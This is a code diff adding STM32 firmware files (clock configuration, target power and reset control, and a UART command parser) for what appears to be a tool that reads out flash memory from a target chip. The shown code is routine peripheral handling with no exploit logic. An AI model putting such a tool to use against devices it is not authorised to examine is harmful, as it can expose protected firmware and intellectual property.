+#define POW_CR (*(volatile uint32_t *)(POW_BASE + 0x00))
+#define POW_SCR (*(volatile uint32_t *)(POW_BASE + 0x04))
+
+#define POW_CR_VOS (1 << 14)
+#define POW_CR_FPDS (1 << 9)
+#define POW_CR_CSBF  (1 << 3)
+#define POW_CR_CWUF  (1 << 2)
+#define POW_CR_PDDS  (1 << 1)
+#define POW_CR_LPDS  (1 << 0)
+#define POW_SCR_WUF   (1 << 0)
+#define POW_SCR_EWUP (1 << 4)
+#define POW_SCR_BRE (1 << 9)
+
+
+#if (CPU_FREQ == 168000000)
+#   define PLLM 8
+#   define PLLN 336
+#   define PLLP 2 
+#   define PLLQ 7
+#   define PLLR 0
+#   define POWER_SAVE 1
+#   define HPRE RCC_PRESCALER_DIV_NONE
+#   define PPRE1 RCC_PRESCALER_DIV_4
+#   define PPRE2 RCC_PRESCALER_DIV_2
+#   define FLASH_WAITSTATES 5
+#elif (CPU_FREQ == 120000000)
+#   define PLLM 8
+#   define PLLN 240
+#   define PLLP 2 
+#   define PLLQ 5
+#   define PLLR 0
+#   define HPRE RCC_PRESCALER_DIV_NONE
+#   define PPRE1 RCC_PRESCALER_DIV_4
+#   define PPRE2 RCC_PRESCALER_DIV_2
+#   define FLASH_WAITSTATES 3
+#elif (CPU_FREQ == 100000000)
+#   define PLLM 8
+#   define PLLN 192
+#   define PLLP 2 
+#   define PLLQ 4
+#   define PLLR 0
+#   define POWER_SAVE 1
+#   define HPRE RCC_PRESCALER_DIV_NONE
+#   define PPRE1 RCC_PRESCALER_DIV_2
+#   define PPRE2 RCC_PRESCALER_DIV_NONE
+#   define FLASH_WAITSTATES 2
+#elif (CPU_FREQ == 84000000)
+#   define PLLM 8
+#   define PLLN 336
+#   define PLLP 4 
+#   define PLLQ 7
+#   define PLLR 0
+#   define HPRE RCC_PRESCALER_DIV_NONE
+#   define PPRE1 RCC_PRESCALER_DIV_2
+#   define PPRE2 RCC_PRESCALER_DIV_NONE
+#   define FLASH_WAITSTATES 2
+#elif (CPU_FREQ == 48000000)
+#   define PLLM 8
+#   define PLLN 96
+#   define PLLP 2 
+#   define PLLQ 2
+#   define PLLR 0
+#   define POWER_SAVE 1
+#   define HPRE RCC_PRESCALER_DIV_NONE
+#   define PPRE1 RCC_PRESCALER_DIV_4 
+#   define PPRE2 RCC_PRESCALER_DIV_2
+#   define FLASH_WAITSTATES 3
+#else 
+# error "Please select a valid CPU_FREQ in system.h"
+#endif
+
+
+#endif

+ 33 - 0
target.c

@@ -0,0 +1,33 @@
+/*
+ * This Source Code Form is subject to the terms of the MIT License.
+ * If a copy of the MIT License was not distributed with this file,
+ * you can obtain one at https://opensource.org/licenses/MIT
+ */
+
+#include "target.h"
+#include "system.h"
+
+void targetSysReset( void )
+{
+    GPIOA_BSRR = (1 << (PIN_RESET + 16));
+	return ;
+}
+
+void targetSysUnReset( void )
+{
+    GPIOA_BSRR = (1 << (PIN_RESET));
+	return ;
+}
+
+
+void targetSysOff( void )
+{
+    GPIOA_BSRR = (1 << (PIN_POWER + 16));
+	return ;
+}
+
+void targetSysOn( void )
+{
+    GPIOA_BSRR = (1 << (PIN_POWER));
+	return ;
+}

+ 26 - 0
target.h

@@ -0,0 +1,26 @@
+/*
+ * This Source Code Form is subject to the terms of the MIT License.
+ * If a copy of the MIT License was not distributed with this file,
+ * you can obtain one at https://opensource.org/licenses/MIT
+ */
+
+#ifndef INC_TARGET_H
+#define INC_TARGET_H
+
+#define RCC_AHBENR_GPIO_RESET (RCC_AHBENR_GPIOAEN)
+#define RCC_AHBENR_GPIO_POWER (RCC_AHBENR_GPIOAEN)
+
+#define GPIO_RESET (GPIOA)
+#define PIN_RESET (11u)
+
+#define GPIO_POWER (GPIOA)
+#define PIN_POWER (12u)
+
+
+void targetSysCtrlInit( void );
+void targetSysReset( void );
+void targetSysUnReset( void );
+void targetSysOff( void );
+void targetSysOn( void );
+
+#endif

+ 431 - 0
uart.c

@@ -0,0 +1,431 @@
+/*
+ * This Source Code Form is subject to the terms of the MIT License.
+ * If a copy of the MIT License was not distributed with this file,
+ * you can obtain one at https://opensource.org/licenses/MIT
+ */
+
+#include <string.h>
+#include "main.h"
+#include "uart.h"
+#include "system.h"
+
+#define UART_BUFFER_LEN (12u)
+
+#define UART1 (0x40004000)
+#define UART2 (0x40004400)
+#define UART3 (0x40004800)
+
+#define UART2_SR       (*(volatile uint32_t *)(UART2))
+#define UART2_DR       (*(volatile uint32_t *)(UART2 + 0x04))
+#define UART2_BRR      (*(volatile uint32_t *)(UART2 + 0x08))
+#define UART2_CR1      (*(volatile uint32_t *)(UART2 + 0x0c))
+#define UART2_CR2      (*(volatile uint32_t *)(UART2 + 0x10))
+
+#define UART_CR1_UART_ENABLE    (1 << 13)
+#define UART_CR1_SYMBOL_LEN     (1 << 12)
+#define UART_CR1_PARITY_ENABLED (1 << 10)
+#define UART_CR1_PARITY_ODD     (1 << 9)
+#define UART_CR1_TX_ENABLE      (1 << 3)
+#define UART_CR1_RX_ENABLE      (1 << 2)
+#define UART_CR2_STOPBITS       (3 << 12)
+#define UART_SR_TX_EMPTY        (1 << 7)
+#define UART_SR_RX_NOTEMPTY     (1 << 5)
+
+//#define UART_WAIT_TRANSMIT do { } while(0)
+#define UART_WAIT_TRANSMIT do { ; } while (!(UART2_SR & UART_SR_TX_EMPTY))
+
+#define CLOCK_SPEED (168000000)
+#define NVIC_UART1_IRQN          (37)
+#define NVIC_UART2_IRQN          (38)
+#define NVIC_UART3_IRQN          (39)
+
+#define APB1_CLOCK_ER           (*(volatile uint32_t *)(0x40023840))
+#define UART1_APB1_CLOCK_ER_VAL 	(1 << 14)
+#define UART2_APB1_CLOCK_ER_VAL 	(1 << 17)
+
+#define AHB1_CLOCK_ER (*(volatile uint32_t *)(0x40023830))
+#define GPIOD_AHB1_CLOCK_ER (1 << 3)
+#define GPIOD_BASE 0x40020c00
+#define GPIOD_MODE  (*(volatile uint32_t *)(GPIOD_BASE + 0x00))
+#define GPIOD_AFL   (*(volatile uint32_t *)(GPIOD_BASE + 0x20))
+#define GPIOD_AFH   (*(volatile uint32_t *)(GPIOD_BASE + 0x24))
+#define GPIOA_AFL   (*(volatile uint32_t *)(GPIOA_BASE + 0x20))
+#define GPIOA_AFH   (*(volatile uint32_t *)(GPIOA_BASE + 0x24))
+#define GPIO_MODE_AF (2)
+#define UART2_PIN_AF 7
+
+#ifndef CUSTOM_HW
+#define UART_PIO_MODE GPIOA_MODE
+#define UART_PIO_AFL  GPIOA_AFL
+#define UART_PIO_AFH  GPIOA_AFH
+#define UART2_RX_PIN 3
+#define UART2_TX_PIN 2
+#else
+#define UART_PIO_MODE GPIOA_MODE
+#define UART_PIO_AFL  GPIOA_AFL
+#define UART_PIO_AFH  GPIOA_AFH
+#define UART2_RX_PIN 3
+#define UART2_TX_PIN 2
+#endif
+
+static const char chrTbl[] = "0123456789ABCDEF";
+uint8_t uartStr[UART_BUFFER_LEN] = {0u};
+uint8_t uartStrInd = 0u;
+
+static void uartExecCmd( uint8_t const * const cmd, uartControl_t * const ctrl );
+
+/* UART: PA2 (TX), PA3 (RX) */
+
+static void uart2_pins_setup(void)
+{
+    uint32_t reg;
+    /* Set mode = AF */
+    reg = UART_PIO_MODE & ~ (0x03 << (UART2_RX_PIN * 2));
+    UART_PIO_MODE = reg | (2 << (UART2_RX_PIN * 2));
+    reg = UART_PIO_MODE & ~ (0x03 << (UART2_TX_PIN * 2));
+    UART_PIO_MODE = reg | (2 << (UART2_TX_PIN * 2));
+
+    /* Alternate function: use low pins (5 and 6) */
+#if (UART2_RX_PIN > 7)
+        reg = UART_PIO_AFH & ~(0xf << ((UART2_RX_PIN - 8) * 4));
+        UART_PIO_AFH = reg | (UART2_PIN_AF << ((UART2_RX_PIN - 8) * 4));
+#else
+        reg = UART_PIO_AFL & ~(0xf << ((UART2_RX_PIN) * 4));
+        UART_PIO_AFL = reg | (UART2_PIN_AF << ((UART2_RX_PIN) * 4));
+#endif
+#if (UART2_TX_PIN > 7)
+        reg = UART_PIO_AFH & ~(0xf << ((UART2_TX_PIN - 8) * 4));
+        UART_PIO_AFH = reg | (UART2_PIN_AF << ((UART2_TX_PIN - 8) * 4));
+#else
+        reg = UART_PIO_AFL & ~(0xf << ((UART2_TX_PIN) * 4));
+        UART_PIO_AFL = reg | (UART2_PIN_AF << ((UART2_TX_PIN) * 4));
+#endif
+}
+
+void uartInit( void )
+{
+    uint32_t reg;
+    const int data = 8;
+    const char parity = 'N';
+    const char stop = 1;
+    const unsigned bitrate = 115200;
+    uint8_t uartData;
+
+    /* Enable pins and configure for AF7 */
+    uart2_pins_setup();
+    /* Turn on the device */
+    APB1_CLOCK_ER |= UART2_APB1_CLOCK_ER_VAL;
+
+    /* Configure for TX + RX */
+    UART2_CR1 |= (UART_CR1_TX_ENABLE | UART_CR1_RX_ENABLE);
+
+    /* Configure clock */
+    UART2_BRR =  CLOCK_SPEED / bitrate;
+
+    /* Configure data bits */
+    if (data == 8)
+        UART2_CR1 &= ~UART_CR1_SYMBOL_LEN;
+    else
+        UART2_CR1 |= UART_CR1_SYMBOL_LEN;
+
+    /* Configure parity */
+    switch (parity) {
+        case 'O':
+            UART2_CR1 |= UART_CR1_PARITY_ODD;
+            /* fall through to enable parity */
+            /* fall through */
+        case 'E':
+            UART2_CR1 |= UART_CR1_PARITY_ENABLED;
+            break;
+        default:
+            UART2_CR1 &= ~(UART_CR1_PARITY_ENABLED | UART_CR1_PARITY_ODD);
+    }
+    /* Set stop bits */
+    reg = UART2_CR2 & ~UART_CR2_STOPBITS;
+    if (stop > 1)
+        UART2_CR2 = reg & (2 << 12);
+    else
+        UART2_CR2 = reg;
+
+    /* Turn on uart */
+    UART2_CR1 |= UART_CR1_UART_ENABLE;
+
+	/* Flush UART buffers */
+	uartData = UART2_DR;
+	uartData = UART2_DR;
+	uartData = UART2_DR;
+    (void)uartData;
+
+	return ;
+}
+
+
+static void uartExecCmd( uint8_t const * const cmd, uartControl_t * const ctrl )
+{
+	uint8_t i = 1u;
+	uint8_t c = 0u;
+	uint32_t hConv = 0u;
+
+	switch (cmd[0])
+	{
+		case 'a':
+		case 'A':
+
+		case 'l':
+		case 'L':
+			hConv = 0u;
+
+			for (i = 1; i < (UART_BUFFER_LEN - 1u); ++i)
+			{
+				c = cmd[i];
+				if ((c <= '9') && (c >= '0'))
+				{
+					c -= '0';
+				}
+				else if ((c >= 'a') && (c <= 'f'))
+				{
+					c -= 'a';
+					c += 0x0A;
+				}
+				else if ((c >= 'A') && (c <= 'F'))
+				{
+					c -= 'A';
+					c += 0x0A;
+				}
+				else
+				{
+					break;
+				}
+				hConv <<= 4u;
+				hConv |= c;
+			}
+
+
+			if ((cmd[0] == 'a') || (cmd[0] == 'A'))
+			{
+				/* Enforce 32-bit alignment */
+				while ((hConv & 0x00000003u) != 0x00u)
+				{
+					--hConv;
+				}
+
+				ctrl->readoutAddress = hConv;
+				uartSendStr("Start address set to 0x");
+				uartSendWordHexBE(hConv);
+				uartSendStr("\r\n");
+			}
+			else /* l or L */
+			{
+				/* Enforce 32-bit alignment */
+				while ((hConv & 0x00000003u) != 0x00u)
+				{
+					++hConv;
+				}
+
+				ctrl->readoutLen = hConv;
+				uartSendStr("Readout length set to 0x");
+				uartSendWordHexBE(hConv);
+				uartSendStr("\r\n");
+			}
+
+			break;
+
+		case 'b':
+		case 'B':
+			ctrl->transmitHex = 0u;
+			uartSendStr("Binary output mode selected\r\n");
+			break;
+
+		case 'e':
+			ctrl->transmitLittleEndian = 1u;
+			uartSendStr("Little Endian mode enabled\r\n");
+			break;
+
+		case 'E':
+			ctrl->transmitLittleEndian = 0u;
+			uartSendStr("Big Endian mode enabled\r\n");
+			break;
+
+		case 'h':
+		case 'H':
+			ctrl->transmitHex = 1u;
+			uartSendStr("Hex output mode selected\r\n");
+			break;
+
+		case 'p':
+		case 'P':
+			printExtractionStatistics();
+			break;
+
+		case 's':
+		case 'S':
+			ctrl->active = 1u;
+			uartSendStr("Flash readout started!\r\n");
+			break;
+
+		case '\n':
+		case '\r':
+		case '\0':
+			/* ignore */
+			break;
+
+		default:
+			uartSendStr("ERROR: unknown command\r\n");
+			break;
+
+	}
+}
+
+
+void uartReceiveCommands( uartControl_t * const ctrl )
+{
+	uint8_t uartData = 0u;
+
+	if (UART2_SR & UART_SR_RX_NOTEMPTY)
+	{
+		uartData = UART2_DR;
+
+		switch (uartData)
+		{
+			/* ignore \t */
+			case '\t':
+				break;
+
+			/* Accept \r and \n as command delimiter */
+			case '\r':
+			case '\n':
+				/* Execute Command */
+				uartExecCmd(uartStr, ctrl);
+				uartStrInd = 0u;
+				memset(uartStr, 0x00u, sizeof(uartStr));
+				break;
+
+			default:
+				if (uartStrInd < (UART_BUFFER_LEN - 1u))
+				{
+					uartStr[uartStrInd] = uartData;
+					++uartStrInd;
+				}
+				break;
+		}
+	}
+
+	return ;
+}
+
+
+void uartSendWordBin( uint32_t const val, uartControl_t const * const ctrl )
+{
+	if (ctrl->transmitLittleEndian)
+	{
+		uartSendWordBinLE( val );
+	}
+	else
+	{
+		uartSendWordBinBE( val );
+	}
+}
+
+
+void uartSendWordHex( uint32_t const val, uartControl_t const * const ctrl )
+{
+	if (ctrl->transmitLittleEndian)
+	{
+		uartSendWordHexLE( val );
+	}
+	else
+	{
+		uartSendWordHexBE( val );
+	}
+}
+
+
+void uartSendWordBinLE( uint32_t const val )
+{
+	uint8_t i = 0u;
+	uint32_t tval = val;
+
+	for (i = 0u; i < 4u; ++i)
+	{
+		UART2_DR = tval & 0xFFu;
+		tval >>= 8u;
+		UART_WAIT_TRANSMIT;
+
+	}
+
+	return ;
+}
+
+
+void uartSendWordBinBE( uint32_t const val )
+{
+	uint8_t i = 0u;
+	uint32_t tval = val;
+
+	for (i = 0u; i < 4u; ++i)
+	{
+		UART2_DR = ((tval >> ((3u - i) << 3u)) & 0xFFu);
+		UART_WAIT_TRANSMIT;
+	}
+
+	return ;
+}
+
+
+void uartSendWordHexLE( uint32_t const val )
+{
+	uint8_t i = 0u;
+	uint32_t tval = val;
+
+	for (i = 0u; i < 4u; ++i)
+	{
+		uartSendByteHex( tval & 0xFFu );
+		tval >>= 8u;
+	}
+
+	return;
+}
+
+
+void uartSendWordHexBE( uint32_t const val )
+{
+	uint8_t i = 0u;
+	uint32_t tval = val;
+
+	for (i = 0u; i < 4u; ++i)
+	{
+		uartSendByteHex((tval >> ((3u - i) << 3u)) & 0xFFu);
+		UART_WAIT_TRANSMIT;
+	}
+
+	return ;
+}
+
+
+void uartSendByteHex( uint8_t const val )
+{
+	char sendstr[3] = {0};
+
+	sendstr[0] = chrTbl[(val >> 4u) & 0x0Fu];
+	sendstr[1] = chrTbl[val & 0x0Fu];
+	sendstr[2] = '\0';
+
+	uartSendStr( sendstr );
+
+	return ;
+}
+
+
+void uartSendStr( const char * const str )
+{
+	const char * strptr = str;
+
+	while (*strptr)
+	{
+		UART2_DR = *strptr;
+		++strptr;
+		UART_WAIT_TRANSMIT;
+	}
+
+	return ;
+}

+ 30 - 0
uart.h

@@ -0,0 +1,30 @@
+/*
+ * This Source Code Form is subject to the terms of the MIT License.
+ * If a copy of the MIT License was not distributed with this file,
+ * you can obtain one at https://opensource.org/licenses/MIT
+ */
+
+#ifndef INC_UART_H
+#define INC_UART_H
+
+typedef struct {
+	uint32_t transmitHex;
+	uint32_t transmitLittleEndian;
+	uint32_t readoutAddress;
+	uint32_t readoutLen;
+	uint32_t active;
+} uartControl_t;
+
+void uartInit( void );
+void uartReceiveCommands( uartControl_t * const ctrl );
+void uartSendWordBin( uint32_t const val, uartControl_t const * const ctrl );
+void uartSendWordHex( uint32_t const val, uartControl_t const * const ctrl );
+void uartSendWordBinLE( uint32_t const val );
+void uartSendWordBinBE( uint32_t const val );
+void uartSendWordHexLE( uint32_t const val );
+void uartSendWordHexBE( uint32_t const val );
+void uartSendByteHex( uint8_t const val );
+void uartSendStr( const char * const str );
+
+
+#endif